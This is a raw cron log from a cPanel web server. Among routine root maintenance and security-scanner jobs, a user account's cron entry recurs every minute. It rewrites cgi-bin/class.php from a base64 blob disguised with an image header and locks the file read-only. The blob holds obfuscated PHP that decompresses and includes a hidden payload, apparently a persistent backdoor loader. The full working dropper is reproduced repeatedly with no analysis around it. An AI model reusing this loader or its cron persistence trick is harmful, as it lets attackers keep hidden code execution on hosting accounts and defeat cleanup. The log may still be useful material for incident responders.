Sep 12 07:30:01 server CROND[29745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:30:01 server CROND[29746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:30:01 server CROND[29747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:30:01 server CROND[29749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:30:01 server CROND[29748]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:30:01 server CROND[29750]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:30:01 server CROND[29744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:31:01 server CROND[30585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:31:01 server CROND[30586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:31:01 server CROND[30587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:32:01 server CROND[30970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:32:01 server CROND[30971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:32:01 server CROND[30972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:33:01 server CROND[31455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:33:01 server CROND[31456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:33:01 server CROND[31457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:34:01 server CROND[31840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:34:01 server CROND[31839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:34:01 server CROND[31841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:35:01 server CROND[32254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:35:01 server CROND[32256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:35:01 server CROND[32255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:35:01 server CROND[32257]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:35:01 server CROND[32259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:35:01 server CROND[32260]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 07:35:01 server CROND[32264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:35:01 server CROND[32265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:35:01 server CROND[32258]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:36:01 server CROND[723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:36:01 server CROND[724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:36:01 server CROND[733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:37:01 server CROND[1170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:37:01 server CROND[1171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:37:01 server CROND[1172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:38:01 server CROND[1587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:38:01 server CROND[1588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:38:01 server CROND[1589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:39:01 server CROND[2090]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 07:39:01 server CROND[2091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:39:01 server CROND[2092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:39:01 server CROND[2093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:40:01 server CROND[2486]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:40:01 server CROND[2487]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:40:01 server CROND[2490]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:40:01 server CROND[2491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:40:01 server CROND[2496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:40:01 server CROND[2494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:40:01 server CROND[2493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:40:01 server CROND[2492]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:41:01 server CROND[3351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:41:01 server CROND[3352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
